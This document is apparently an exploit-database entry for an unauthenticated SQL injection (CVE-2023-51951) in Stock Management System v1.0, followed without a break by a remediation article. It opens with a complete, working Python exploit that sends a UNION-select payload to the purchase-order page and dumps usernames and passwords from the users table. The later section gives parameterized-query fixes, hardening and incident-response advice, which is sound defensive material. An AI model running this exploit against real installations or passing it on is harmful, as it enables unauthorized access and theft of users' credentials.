Stock Management System v1.0 - Unauthenticated SQL Injection
# Exploit Title: Stock Management System v1.0 - Unauthenticated SQL Injection
# Date: February 6, 2024
# Exploit Author: Josué Mier (aka blu3ming) Security Researcher & Penetration Tester @wizlynx group
# Vendor Homepage: https://www.sourcecodester.com/php/15023/stock-management-system-phpoop-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/sms.zip
# Tested on: Linux and Windows, XAMPP
# CVE-2023-51951
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
# The web application Stock Management System is affected by an unauthenticated SQL Injection affecting Version 1.0, allowing remote attackers to dump the SQL database using an Error-Based Injection attack.
import requests
from bs4 import BeautifulSoup
import argparse
def print_header():
print("\033[1m\nStock Management System v1.0\033[0m")
print("\033[1mSQL Injection Exploit\033[0m")
print("\033[96mby blu3ming\n\033[0m")
def parse_response(target_url):
try:
target_response = requests.get(target_url)
soup = BeautifulSoup(target_response.text, 'html.parser')
textarea_text = soup.find('textarea', {'name': 'remarks', 'id': 'remarks'}).text
# Split the text using ',' as a delimiter
users = textarea_text.split(',')
for user in users:
# Split username and password using ':' as a delimiter
username, password = user.split(':')
print("| {:<20} | {:<40} |".format(username, password))
except:
print("No data could be retrieved. Try again.")
def retrieve_data(base_url):
target_path = '/sms/admin/?page=purchase_order/manage_po&id='
payload = "'+union+select+1,2,3,4,5,6,7,8,group_concat(username,0x3a,password),10,11,12,13+from+users--+-"
#Dump users table
target_url = base_url + target_path + payload
print("+----------------------+------------------------------------------+")
print("| {:<20} | {:<40} |".format("username", "password"))
print("+----------------------+------------------------------------------+")
parse_response(target_url)
print("+----------------------+------------------------------------------+\n")
if __name__ == "__main__":
about = 'Unauthenticated SQL Injection Exploit - Stock Management System'
parser = argparse.ArgumentParser(description=about)
parser.add_argument('--url', dest='base_url', required=True, help='Stock Management System URL')
args = parser.parse_args()
print_header()
retrieve_data(args.base_url) Stock Management System v1.0 — Unauthenticated SQL Injection (CVE-2023-51951): Analysis, Impact, and Remediation
This article examines the unauthenticated SQL Injection (SQLi) vulnerability reported against Stock Management System v1.0 (CVE-2023-51951). It explains how such vulnerabilities arise, the likely impact on applications and data, safe detection approaches, and practical, secure remediation strategies for developers, system administrators, and security teams.
Executive summary
A critical SQL Injection vulnerability was identified in Stock Management System v1.0 allowing remote, unauthenticated attackers to extract data from the database by manipulating input passed directly into SQL statements. Exploitable SQLi vulnerabilities frequently result from concatenating untrusted input into database queries without validation or parameterization. The most effective mitigations are to fix the root cause in the code, reduce database privileges, and harden error handling and server configuration.
Why SQL Injection happens (brief, practical explanation)
- Developers build SQL queries by concatenating user-supplied values directly into the SQL string.
- If inputs are not validated or parameterized, attackers can inject SQL fragments that change the query logic or cause the database to reveal sensitive data.
- Error-based SQLi relies on the database or application returning detailed error messages that include database content or structure, which attackers can use to reconstruct data.
Potential impact
- Unauthorized disclosure of user credentials and personal data.
- Data modification or deletion leading to integrity loss.
- Escalation paths: access to configuration data, stored credentials, or lateral movement if database credentials are powerful.
- Compliance, legal, and reputational damage where regulated data is exposed.
Safe detection and responsible testing
Detection and validation of SQLi must be performed only in authorized environments (e.g., your test/staging systems or with explicit permission). Use the following safe methods:
- Static code review: find concatenated SQL strings that include direct use of request parameters.
- Runtime logging analysis: look for query errors and unusual parameter patterns in application logs.
- Automated scanners and dynamic application security testing (DAST): use them only with authorization and tune them to minimize impact.
- Penetration tests under a signed engagement: let experienced testers perform controlled testing and provide remediation guidance.
Secure coding fixes — examples and explanations
Below are developer-focused code patterns to eliminate SQLi by using parameterized queries and input validation. These examples show secure approaches; do not use string concatenation with untrusted inputs in SQL statements.
<?php
// Secure PHP example using PDO and a prepared statement
// - Uses parameter binding to avoid SQL Injection
// - Validates that id is numeric before querying
try {
$pdo = new PDO('mysql:host=localhost;dbname=sms;charset=utf8mb4', 'app_user', 'strong_password', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
$id = $_GET['id'] ?? null;
if (!ctype_digit($id)) {
// Reject clearly invalid input
throw new InvalidArgumentException('Invalid order id');
}
$stmt = $pdo->prepare('SELECT id, order_date, total FROM purchase_order WHERE id = :id');
$stmt->execute([':id' => (int)$id]);
$order = $stmt->fetch(PDO::FETCH_ASSOC);
// handle result or 404
} catch (Exception $e) {
error_log($e->getMessage()); // log server-side; avoid showing details to users
http_response_code(500);
echo 'An internal error occurred.';
}
?>Explanation: This PHP snippet demonstrates using PDO prepared statements with named placeholders. The input is validated (ctype_digit) and cast to integer before binding. Errors are logged server-side and not echoed to the user, preventing leakage of internals.
# Python (psycopg2) secure example for PostgreSQL
# - Uses parameterized queries and type checks
import os
import psycopg2
from psycopg2.extras import RealDictCursor
conn = psycopg2.connect(dsn=os.getenv('DATABASE_DSN'))
order_id = request.args.get('id')
if not (order_id and order_id.isdigit()):
abort(400, 'Invalid id')
with conn.cursor(cursor_factory=RealDictCursor) as cur:
cur.execute('SELECT id, order_date, total FROM purchase_order WHERE id = %s', (int(order_id),))
order = cur.fetchone()
Explanation: In Python/psycopg2, passing parameters as a separate argument to execute ensures the driver handles escaping and prevents injection. Input is validated prior to use.
Additional hardening: server and database configuration
- Disable detailed error messages in production (display_errors = off for PHP). Log errors securely to files with restricted access.
- Use least privilege for the database account. Application accounts should only have the minimum SELECT/INSERT/UPDATE/DELETE privileges required; avoid schema-altering privileges.
- Consider using a Web Application Firewall (WAF) as an additional layer, but do not rely on it instead of fixing the code.
- Patch and upgrade: install the vendor patch or update to a fixed version. Monitor vendor advisories and CVE updates.
Detecting and monitoring after remediation
- Deploy runtime application self-protection (RASP) or WAF rules tuned to detect suspicious SQL patterns, but keep false positives manageable.
- Enable database auditing (SELECT/UNION/error patterns) to alert on anomalous queries and error rates.
- Integrate application logs into a SIEM and create alerts for repeated query errors or attempts to access admin endpoints from unauthenticated clients.
Mitigation checklist (priority ordered)
| Action | Why | Priority |
|---|---|---|
| Replace string-concatenated SQL with parameterized queries | Eliminates the root cause of SQLi | Critical |
| Validate and sanitize inputs (type, length, allowlist) | Reduces attack surface and accidental misuse | High |
| Use least-privilege DB accounts | Limits damage if credentials are compromised | High |
| Disable verbose error output in production | Prevents information leakage used by attackers | High |
| Apply vendor patches / updates | Addresses known vulnerabilities in the codebase | Critical |
| Audit logs and enable alerting | Detects exploitation attempts and supports incident response | Medium |
Incident response considerations
- If you suspect exploitation, preserve logs and take affected systems offline into an isolated environment for forensic analysis.
- Change database credentials and rotate secrets used by the application after patching.
- Notify stakeholders and follow applicable breach notification laws if sensitive data was exposed.
- Engage an experienced incident response or forensic team for thorough investigation when required.
Responsible disclosure and remediation coordination
If you are a third party who discovered the issue, follow responsible disclosure practices: contact the vendor privately, provide proof of concept in a non-exploitable way (e.g., logs showing the issue), allow reasonable time for remediation, and coordinate any public disclosure. If you are a vendor, provide timely patches, release mitigations guidance, and coordinate CVE assignment and disclosure timelines.
Key takeaways
- SQL Injection is a high-impact, preventable vulnerability — the fix is almost always at the application layer: use parameterized queries and validate input.
- Reduce risk with defense-in-depth: least privilege, configuration hardening, error handling, logging, and monitoring.
- Test and patch in authorized environments, and handle disclosures responsibly to protect users and ecosystems.